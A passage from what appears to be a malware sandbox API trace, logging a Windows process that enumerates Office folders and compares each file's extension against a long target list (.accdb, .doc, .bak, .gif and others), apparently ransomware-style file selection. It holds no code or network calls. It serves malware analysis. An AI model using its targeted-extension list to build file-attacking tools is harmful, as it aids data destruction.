(lpString1=".accdb", lpString2="ER.GIF") returned -1 [0262.395] lstrlenW (lpString=".accdc") returned 6 [0262.395] lstrcmpiW (lpString1=".accdc", lpString2="ER.GIF") returned -1 [0262.395] lstrlenW (lpString=".accde") returned 6 [0262.395] lstrcmpiW (lpString1=".accde", lpString2="ER.GIF") returned -1 [0262.395] lstrlenW (lpString=".accdt") returned 6 [0262.395] lstrcmpiW (lpString1=".accdt", lpString2="ER.GIF") returned -1 [0262.395] lstrlenW (lpString=".accdw") returned 6 [0262.395] lstrcmpiW (lpString1=".accdw", lpString2="ER.GIF") returned -1 [0262.395] lstrlenW (lpString=".adb") returned 4 [0262.395] lstrcmpiW (lpString1=".adb", lpString2=".GIF") returned -1 [0262.395] lstrlenW (lpString=".adp") returned 4 [0262.395] lstrcmpiW (lpString1=".adp", lpString2=".GIF") returned -1 [0262.395] lstrlenW (lpString=".ai") returned 3 [0262.395] lstrcmpiW (lpString1=".ai", lpString2="GIF") returned -1 [0262.395] lstrlenW (lpString=".ai3") returned 4 [0262.395] lstrcmpiW (lpString1=".ai3", lpString2=".GIF") returned -1 [0262.395] lstrlenW (lpString=".ai4") returned 4 [0262.395] lstrcmpiW (lpString1=".ai4", lpString2=".GIF") returned -1 [0262.395] lstrlenW (lpString=".ai5") returned 4 [0262.395] lstrcmpiW (lpString1=".ai5", lpString2=".GIF") returned -1 [0262.395] lstrlenW (lpString=".ai6") returned 4 [0262.395] lstrcmpiW (lpString1=".ai6", lpString2=".GIF") returned -1 [0262.395] lstrlenW (lpString=".ai7") returned 4 [0262.395] lstrcmpiW (lpString1=".ai7", lpString2=".GIF") returned -1 [0262.395] lstrlenW (lpString=".ai8") returned 4 [0262.395] lstrcmpiW (lpString1=".ai8", lpString2=".GIF") returned -1 [0262.395] lstrlenW (lpString=".anim") returned 5 [0262.395] lstrcmpiW (lpString1=".anim", lpString2="R.GIF") returned -1 [0262.395] lstrlenW (lpString=".arw") returned 4 [0262.396] lstrcmpiW (lpString1=".arw", lpString2=".GIF") returned -1 [0262.396] lstrlenW (lpString=".as") returned 3 [0262.396] lstrcmpiW (lpString1=".as", lpString2="GIF") returned -1 [0262.396] lstrlenW (lpString=".asa") returned 4 [0262.396] lstrcmpiW (lpString1=".asa", lpString2=".GIF") returned -1 [0262.396] lstrlenW (lpString=".asc") returned 4 [0262.396] lstrcmpiW (lpString1=".asc", lpString2=".GIF") returned -1 [0262.396] lstrlenW (lpString=".ascx") returned 5 [0262.396] lstrcmpiW (lpString1=".ascx", lpString2="R.GIF") returned -1 [0262.396] lstrlenW (lpString=".asm") returned 4 [0262.396] lstrcmpiW (lpString1=".asm", lpString2=".GIF") returned -1 [0262.396] lstrlenW (lpString=".asmx") returned 5 [0262.396] lstrcmpiW (lpString1=".asmx", lpString2="R.GIF") returned -1 [0262.396] lstrlenW (lpString=".asp") returned 4 [0262.396] lstrcmpiW (lpString1=".asp", lpString2=".GIF") returned -1 [0262.396] lstrlenW (lpString=".aspx") returned 5 [0262.396] lstrcmpiW (lpString1=".aspx", lpString2="R.GIF") returned -1 [0262.396] lstrlenW (lpString=".asr") returned 4 [0262.396] lstrcmpiW (lpString1=".asr", lpString2=".GIF") returned -1 [0262.396] lstrlenW (lpString=".asx") returned 4 [0262.396] lstrcmpiW (lpString1=".asx", lpString2=".GIF") returned -1 [0262.396] lstrlenW (lpString=".avi") returned 4 [0262.396] lstrcmpiW (lpString1=".avi", lpString2=".GIF") returned -1 [0262.396] lstrlenW (lpString=".avs") returned 4 [0262.396] lstrcmpiW (lpString1=".avs", lpString2=".GIF") returned -1 [0262.396] lstrlenW (lpString=".backup") returned 7 [0262.397] lstrcmpiW (lpString1=".backup", lpString2="DER.GIF") returned -1 [0262.397] lstrlenW (lpString=".bak") returned 4 [0262.397] lstrcmpiW (lpString1=".bak", lpString2=".GIF") returned -1 [0262.397] lstrlenW (lpString=".bay") returned 4 [0262.397] lstrcmpiW (lpString1=".bay", lpString2=".GIF") returned -1 [0262.397] lstrlenW (lpString=".bd") returned 3 [0262.397] lstrcmpiW (lpString1=".bd", lpString2="GIF") returned -1 [0262.397] lstrlenW (lpString=".bin") returned 4 [0262.397] lstrcmpiW (lpString1=".bin", lpString2=".GIF") returned -1 [0262.397] lstrlenW (lpString=".bmp") returned 4 [0262.397] lstrcmpiW (lpString1=".bmp", lpString2=".GIF") returned -1 [0262.397] lstrlenW (lpString=".bz2") returned 4 [0262.397] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0262.397] lstrlenW (lpString=".c") returned 2 [0262.397] lstrcmpiW (lpString1=".c", lpString2="IF") returned -1 [0262.397] lstrlenW (lpString=".cdr") returned 4 [0262.397] lstrcmpiW (lpString1=".cdr", lpString2=".GIF") returned -1 [0262.397] lstrlenW (lpString=".cer") returned 4 [0262.397] lstrcmpiW (lpString1=".cer", lpString2=".GIF") returned -1 [0262.397] lstrlenW (lpString=".cf") returned 3 [0262.397] lstrcmpiW (lpString1=".cf", lpString2="GIF") returned -1 [0262.397] lstrlenW (lpString=".cfc") returned 4 [0262.398] lstrcmpiW (lpString1=".cfc", lpString2=".GIF") returned -1 [0262.398] lstrlenW (lpString=".cfm") returned 4 [0262.398] lstrcmpiW (lpString1=".cfm", lpString2=".GIF") returned -1 [0262.398] lstrlenW (lpString=".cfml") returned 5 [0262.398] lstrcmpiW (lpString1=".cfml", lpString2="R.GIF") returned -1 [0262.398] lstrlenW (lpString=".cfu") returned 4 [0262.398] lstrcmpiW (lpString1=".cfu", lpString2=".GIF") returned -1 [0262.398] lstrlenW (lpString=".chm") returned 4 [0262.398] lstrcmpiW (lpString1=".chm", lpString2=".GIF") returned -1 [0262.398] lstrlenW (lpString=".cin") returned 4 [0262.398] lstrcmpiW (lpString1=".cin", lpString2=".GIF") returned -1 [0262.398] lstrlenW (lpString=".class") returned 6 [0262.398] lstrcmpiW (lpString1=".class", lpString2="ER.GIF") returned -1 [0262.398] lstrlenW (lpString=".clx") returned 4 [0262.398] lstrcmpiW (lpString1=".clx", lpString2=".GIF") returned -1 [0262.398] lstrlenW (lpString=".config") returned 7 [0262.398] lstrcmpiW (lpString1=".config", lpString2="DER.GIF") returned -1 [0262.398] lstrlenW (lpString=".cpp") returned 4 [0262.398] lstrcmpiW (lpString1=".cpp", lpString2=".GIF") returned -1 [0262.398] lstrlenW (lpString=".cr2") returned 4 [0262.398] lstrcmpiW (lpString1=".cr2", lpString2=".GIF") returned -1 [0262.398] lstrlenW (lpString=".crt") returned 4 [0262.398] lstrcmpiW (lpString1=".crt", lpString2=".GIF") returned -1 [0262.398] lstrlenW (lpString=".crw") returned 4 [0262.398] lstrcmpiW (lpString1=".crw", lpString2=".GIF") returned -1 [0262.398] lstrlenW (lpString=".cs") returned 3 [0262.398] lstrcmpiW (lpString1=".cs", lpString2="GIF") returned -1 [0262.398] lstrlenW (lpString=".css") returned 4 [0262.398] lstrcmpiW (lpString1=".css", lpString2=".GIF") returned -1 [0262.398] lstrlenW (lpString=".csv") returned 4 [0262.398] lstrcmpiW (lpString1=".csv", lpString2=".GIF") returned -1 [0262.398] lstrlenW (lpString=".cub") returned 4 [0262.398] lstrcmpiW (lpString1=".cub", lpString2=".GIF") returned -1 [0262.399] lstrlenW (lpString=".dae") returned 4 [0262.399] lstrcmpiW (lpString1=".dae", lpString2=".GIF") returned -1 [0262.399] lstrlenW (lpString=".dat") returned 4 [0262.399] lstrcmpiW (lpString1=".dat", lpString2=".GIF") returned -1 [0262.399] lstrlenW (lpString=".db") returned 3 [0262.399] lstrcmpiW (lpString1=".db", lpString2="GIF") returned -1 [0262.399] lstrlenW (lpString=".dbf") returned 4 [0262.399] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0262.399] lstrlenW (lpString=".dbx") returned 4 [0262.399] lstrcmpiW (lpString1=".dbx", lpString2=".GIF") returned -1 [0262.399] lstrlenW (lpString=".dc3") returned 4 [0262.399] lstrcmpiW (lpString1=".dc3", lpString2=".GIF") returned -1 [0262.399] lstrlenW (lpString=".dcm") returned 4 [0262.399] lstrcmpiW (lpString1=".dcm", lpString2=".GIF") returned -1 [0262.399] lstrlenW (lpString=".dcr") returned 4 [0262.399] lstrcmpiW (lpString1=".dcr", lpString2=".GIF") returned -1 [0262.399] lstrlenW (lpString=".der") returned 4 [0262.399] lstrcmpiW (lpString1=".der", lpString2=".GIF") returned -1 [0262.399] lstrlenW (lpString=".dib") returned 4 [0262.399] lstrcmpiW (lpString1=".dib", lpString2=".GIF") returned -1 [0262.399] lstrlenW (lpString=".dic") returned 4 [0262.399] lstrcmpiW (lpString1=".dic", lpString2=".GIF") returned -1 [0262.399] lstrlenW (lpString=".dif") returned 4 [0262.399] lstrcmpiW (lpString1=".dif", lpString2=".GIF") returned -1 [0262.399] lstrlenW (lpString=".divx") returned 5 [0262.399] lstrcmpiW (lpString1=".divx", lpString2="R.GIF") returned -1 [0262.399] lstrlenW (lpString=".djvu") returned 5 [0262.399] lstrcmpiW (lpString1=".djvu", lpString2="R.GIF") returned -1 [0262.399] lstrlenW (lpString=".dng") returned 4 [0262.399] lstrcmpiW (lpString1=".dng", lpString2=".GIF") returned -1 [0262.399] lstrlenW (lpString=".doc") returned 4 [0262.399] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0262.400] lstrlenW (lpString=".docm") returned 5 [0262.400] lstrcmpiW (lpString1=".docm", lpString2="R.GIF") returned -1 [0262.400] lstrlenW (lpString=".docx") returned 5 [0262.400] lstrcmpiW (lpString1=".docx", lpString2="R.GIF") returned -1 [0262.400] lstrlenW (lpString=".dot") returned 4 [0262.400] lstrcmpiW (lpString1=".dot", lpString2=".GIF") returned -1 [0262.400] lstrlenW (lpString=".dotm") returned 5 [0262.400] lstrcmpiW (lpString1=".dotm", lpString2="R.GIF") returned -1 [0262.400] lstrlenW (lpString=".dotx") returned 5 [0262.400] lstrcmpiW (lpString1=".dotx", lpString2="R.GIF") returned -1 [0262.400] lstrlenW (lpString=".dpx") returned 4 [0262.400] lstrcmpiW (lpString1=".dpx", lpString2=".GIF") returned -1 [0262.400] lstrlenW (lpString=".dqy") returned 4 [0262.400] lstrcmpiW (lpString1=".dqy", lpString2=".GIF") returned -1 [0262.400] lstrlenW (lpString=".dsn") returned 4 [0262.400] lstrcmpiW (lpString1=".dsn", lpString2=".GIF") returned -1 [0262.400] lstrlenW (lpString=".dt") returned 3 [0262.400] lstrcmpiW (lpString1=".dt", lpString2="GIF") returned -1 [0262.400] lstrlenW (lpString=".dtd") returned 4 [0262.400] lstrcmpiW (lpString1=".dtd", lpString2=".GIF") returned -1 [0262.400] lstrlenW (lpString=".dwg") returned 4 [0262.400] lstrcmpiW (lpString1=".dwg", lpString2=".GIF") returned -1 [0262.400] lstrlenW (lpString=".dwt") returned 4 [0262.400] lstrcmpiW (lpString1=".dwt", lpString2=".GIF") returned -1 [0262.400] lstrlenW (lpString=".dx") returned 3 [0262.400] lstrcmpiW (lpString1=".dx", lpString2="GIF") returned -1 [0262.400] lstrlenW (lpString=".dxf") returned 4 [0262.400] lstrcmpiW (lpString1=".dxf", lpString2=".GIF") returned -1 [0262.400] lstrlenW (lpString=".edml") returned 5 [0262.400] lstrcmpiW (lpString1=".edml", lpString2="R.GIF") returned -1 [0262.400] lstrlenW (lpString=".efd") returned 4 [0262.401] lstrcmpiW (lpString1=".efd", lpString2=".GIF") returned -1 [0262.401] lstrlenW (lpString=".elf") returned 4 [0262.401] lstrcmpiW (lpString1=".elf", lpString2=".GIF") returned -1 [0262.401] lstrlenW (lpString=".emf") returned 4 [0262.401] lstrcmpiW (lpString1=".emf", lpString2=".GIF") returned -1 [0262.401] lstrlenW (lpString=".emz") returned 4 [0262.401] lstrcmpiW (lpString1=".emz", lpString2=".GIF") returned -1 [0262.401] lstrlenW (lpString=".epf") returned 4 [0262.401] lstrcmpiW (lpString1=".epf", lpString2=".GIF") returned -1 [0262.401] lstrlenW (lpString=".eps") returned 4 [0262.401] lstrcmpiW (lpString1=".eps", lpString2=".GIF") returned -1 [0262.401] lstrlenW (lpString=".epsf") returned 5 [0262.401] lstrcmpiW (lpString1=".epsf", lpString2="R.GIF") returned -1 [0262.401] lstrlenW (lpString=".epsp") returned 5 [0262.401] lstrcmpiW (lpString1=".epsp", lpString2="R.GIF") returned -1 [0262.401] lstrlenW (lpString=".erf") returned 4 [0262.401] lstrcmpiW (lpString1=".erf", lpString2=".GIF") returned -1 [0262.401] lstrlenW (lpString=".exr") returned 4 [0262.401] lstrcmpiW (lpString1=".exr", lpString2=".GIF") returned -1 [0262.401] lstrlenW (lpString=".f4v") returned 4 [0262.401] lstrcmpiW (lpString1=".f4v", lpString2=".GIF") returned -1 [0262.401] lstrlenW (lpString=".fido") returned 5 [0262.401] lstrcmpiW (lpString1=".fido", lpString2="R.GIF") returned -1 [0262.401] lstrlenW (lpString=".flm") returned 4 [0262.401] lstrcmpiW (lpString1=".flm", lpString2=".GIF") returned -1 [0262.401] lstrlenW (lpString=".flv") returned 4 [0262.401] lstrcmpiW (lpString1=".flv", lpString2=".GIF") returned -1 [0262.401] lstrlenW (lpString=".frm") returned 4 [0262.401] lstrcmpiW (lpString1=".frm", lpString2=".GIF") returned -1 [0262.401] lstrlenW (lpString=".fxg") returned 4 [0262.402] lstrcmpiW (lpString1=".fxg", lpString2=".GIF") returned -1 [0262.402] lstrlenW (lpString=".geo") returned 4 [0262.402] lstrcmpiW (lpString1=".geo", lpString2=".GIF") returned -1 [0262.402] lstrlenW (lpString=".gif") returned 4 [0262.402] lstrcmpiW (lpString1=".gif", lpString2=".GIF") returned 0 [0262.402] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372eb9c | out: lpFindFileData=0x372eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0262.402] lstrlenW (lpString="TAB_OFF.GIF") returned 11 [0262.402] lstrlenW (lpString=".1cd") returned 4 [0262.402] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0262.402] lstrlenW (lpString=".3ds") returned 4 [0262.402] lstrcmpiW (lpString1=".3ds", lpString2=".GIF") returned -1 [0262.402] lstrlenW (lpString=".3fr") returned 4 [0262.402] lstrcmpiW (lpString1=".3fr", lpString2=".GIF") returned -1 [0262.402] lstrlenW (lpString=".3g2") returned 4 [0262.402] lstrcmpiW (lpString1=".3g2", lpString2=".GIF") returned -1 [0262.402] lstrlenW (lpString=".3gp") returned 4 [0262.402] lstrcmpiW (lpString1=".3gp", lpString2=".GIF") returned -1 [0262.402] lstrlenW (lpString=".7z") returned 3 [0262.402] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0262.402] lstrlenW (lpString=".accda") returned 6 [0262.402] lstrcmpiW (lpString1=".accda", lpString2="FF.GIF") returned -1 [0262.402] lstrlenW (lpString=".accdb") returned 6 [0262.402] lstrcmpiW (lpString1=".accdb", lpString2="FF.GIF") returned -1 [0262.402] lstrlenW (lpString=".accdc") returned 6 [0262.402] lstrcmpiW (lpString1=".accdc", lpString2="FF.GIF") returned -1 [0262.402] lstrlenW (lpString=".accde") returned 6 [0262.402] lstrcmpiW (lpString1=".accde", lpString2="FF.GIF") returned -1 [0262.402] lstrlenW (lpString=".accdt") returned 6 [0262.402] lstrcmpiW (lpString1=".accdt", lpString2="FF.GIF") returned -1 [0262.403] lstrlenW (lpString=".accdw") returned 6 [0262.403] lstrcmpiW (lpString1=".accdw", lpString2="FF.GIF") returned -1 [0262.403] lstrlenW (lpString=".adb") returned 4 [0262.403] lstrcmpiW (lpString1=".adb", lpString2=".GIF") returned -1 [0262.403] lstrlenW (lpString=".adp") returned 4 [0262.403] lstrcmpiW (lpString1=".adp", lpString2=".GIF") returned -1 [0262.403] lstrlenW (lpString=".ai") returned 3 [0262.403] lstrcmpiW (lpString1=".ai", lpString2="GIF") returned -1 [0262.403] lstrlenW (lpString=".ai3") returned 4 [0262.403] lstrcmpiW (lpString1=".ai3", lpString2=".GIF") returned -1 [0262.403] lstrlenW (lpString=".ai4") returned 4 [0262.403] lstrcmpiW (lpString1=".ai4", lpString2=".GIF") returned -1 [0262.403] lstrlenW (lpString=".ai5") returned 4 [0262.403] lstrcmpiW (lpString1=".ai5", lpString2=".GIF") returned -1 [0262.403] lstrlenW (lpString=".ai6") returned 4 [0262.403] lstrcmpiW (lpString1=".ai6", lpString2=".GIF") returned -1 [0262.403] lstrlenW (lpString=".ai7") returned 4 [0262.403] lstrcmpiW (lpString1=".ai7", lpString2=".GIF") returned -1 [0262.403] lstrlenW (lpString=".ai8") returned 4 [0262.403] lstrcmpiW (lpString1=".ai8", lpString2=".GIF") returned -1 [0262.403] RtlpDeCommitFreeBlock () [0262.403] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd3f79f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xcb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBlue.css", cAlternateFileName="")) returned 1 [0262.404] RtlpDeCommitFreeBlock () [0262.404] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="Biscay.css", cAlternateFileName="")) returned 1 [0262.404] RtlpDeCommitFreeBlock () [0262.404] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightOrange.css", cAlternateFileName="BRIGHT~1.CSS")) returned 1 [0262.404] RtlpDeCommitFreeBlock () [0262.404] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9fbf300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc9fbf300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd03, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightYellow.css", cAlternateFileName="BRIGHT~2.CSS")) returned 1 [0262.405] RtlpDeCommitFreeBlock () [0262.405] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert.css", cAlternateFileName="")) returned 1 [0262.405] RtlpDeCommitFreeBlock () [0262.405] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb2d2000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcb2d2000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbea, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrayCheck.css", cAlternateFileName="GRAYCH~1.CSS")) returned 1 [0262.405] RtlpDeCommitFreeBlock () [0262.405] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd632e90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd77, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lime.css", cAlternateFileName="")) returned 1 [0262.406] RtlpDeCommitFreeBlock () [0262.406] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5e4d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd632e90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc5e4d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oasis.css", cAlternateFileName="")) returned 1 [0262.406] RtlpDeCommitFreeBlock () [0262.406] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xdbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slate.css", cAlternateFileName="")) returned 1 [0262.406] RtlpDeCommitFreeBlock () [0262.406] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.css", cAlternateFileName="")) returned 1 [0262.408] RtlpDeCommitFreeBlock () [0262.408] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x19cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solutions.css", cAlternateFileName="SOLUTI~1.CSS")) returned 1 [0262.408] RtlpDeCommitFreeBlock () [0262.408] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd01, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpringGreen.css", cAlternateFileName="SPRING~1.CSS")) returned 1 [0262.409] RtlpDeCommitFreeBlock () [0262.409] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sts2.css", cAlternateFileName="")) returned 1 [0262.409] RtlpDeCommitFreeBlock () [0262.409] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="Swirl.css", cAlternateFileName="")) returned 1 [0262.409] RtlpDeCommitFreeBlock () [0262.409] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x372f1f4, cFileName="FormsStyles", cAlternateFileName="FORMSS~1")) returned 0 [0262.409] FindClose (in: hFindFile=0x63f108 | out: hFindFile=0x63f108) returned 1 [0262.409] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4590148 | out: hHeap=0x540000) returned 1 [0262.410] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c91e000, ftCreationTime.dwHighDateTime=0x1cacb46, ftLastAccessTime.dwLowDateTime=0xfd5e6bd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8c91e000, ftLastWriteTime.dwHighDateTime=0x1cacb46, nFileSizeHigh=0x0, nFileSizeLow=0x863360, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveIntlResource.dll", cAlternateFileName="GROOVE~1.DLL")) returned 1 [0262.561] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56e35200, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xf5dfd790, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x56e35200, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.DEV_COL.HXT", cAlternateFileName="POWERP~1.HXT")) returned 1 [0263.647] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba28770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7ff, dwReserved1=0x8000, cFileName="..", cAlternateFileName="")) returned 1 [0263.647] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c22e700, ftCreationTime.dwHighDateTime=0x1ca6669, ftLastAccessTime.dwLowDateTime=0x1ba28770, ftLastAccessTime.dwHighDateTime=0x1d301bf, 